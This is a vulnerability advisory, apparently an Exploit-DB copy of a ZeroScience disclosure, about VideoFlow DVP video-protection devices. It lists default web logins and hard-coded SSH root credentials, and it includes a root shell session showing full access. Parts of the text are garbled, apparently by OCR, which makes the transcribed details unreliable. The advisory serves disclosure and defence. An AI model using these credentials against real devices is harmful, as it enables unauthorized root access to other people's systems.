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EDB-ID: CVE:
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EDB Verified: X
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VideoFlow Digital Video Protection DVP 10 Authenticated Root Remote Code
Execution

Vendor: VideoFlow Ltd.
Product web page: http://www.video-flow.com
Affected version: 2.10 (X-Prototype-Version: 1.6.0.2)

System = Indicate if the DVP is configured as Protector, Sentinel or
Fortress

Version = The Operating System SW version number

Image version = Production Image version

System: DVP Protector
Version: 1.40.0.15(R) May 5 2015 05:27:05
Image version: 3.071

System: DVP Protector
Version: 1.40.0.15(R) May 5 2015 05:27:05
Image version: 2.08

System: DVP Fortress
Version: 2.10.0.5(R) Jan 7 2018 03:26:35
Image version: 3.07
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2018-5455
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-
5455 .php

01.02.2018

Default credentials (web management):

admin:admin
oper:oper
private:private
public:public
devel:devel

Hard-Coded credentials (ssh):
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root:videoflow
mom: $1$CGgdGXXG$OFmyyKMzcHgkKnUTZi5r. /

sh-3.2# id;pwd;uname -a;1ls

uid=0(root) gid=0(root)

/dvpl00/confd

Linux localhost.localdomain 2.6.18-371.el5 #1 SMP Tue Oct 1 08:37:57 EDT

013 i6 |
86 i686 1386 GNU/Linux

- —_—,—,—— —_— —_— — N — — — — — —_— —_——_——

aaa_ cdb. fxs ietf-inet-types.fxs SNMP - USER-BASED-SM-MIB. fxs
authorization.fxs ietf-yang-types.fxs SNMPv2-MIB. fxs
browser. log IF-MIB.bin SNMPv2-SMI. fxs
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Kernel \r on an \m

Tags: Advisory/Source: Link
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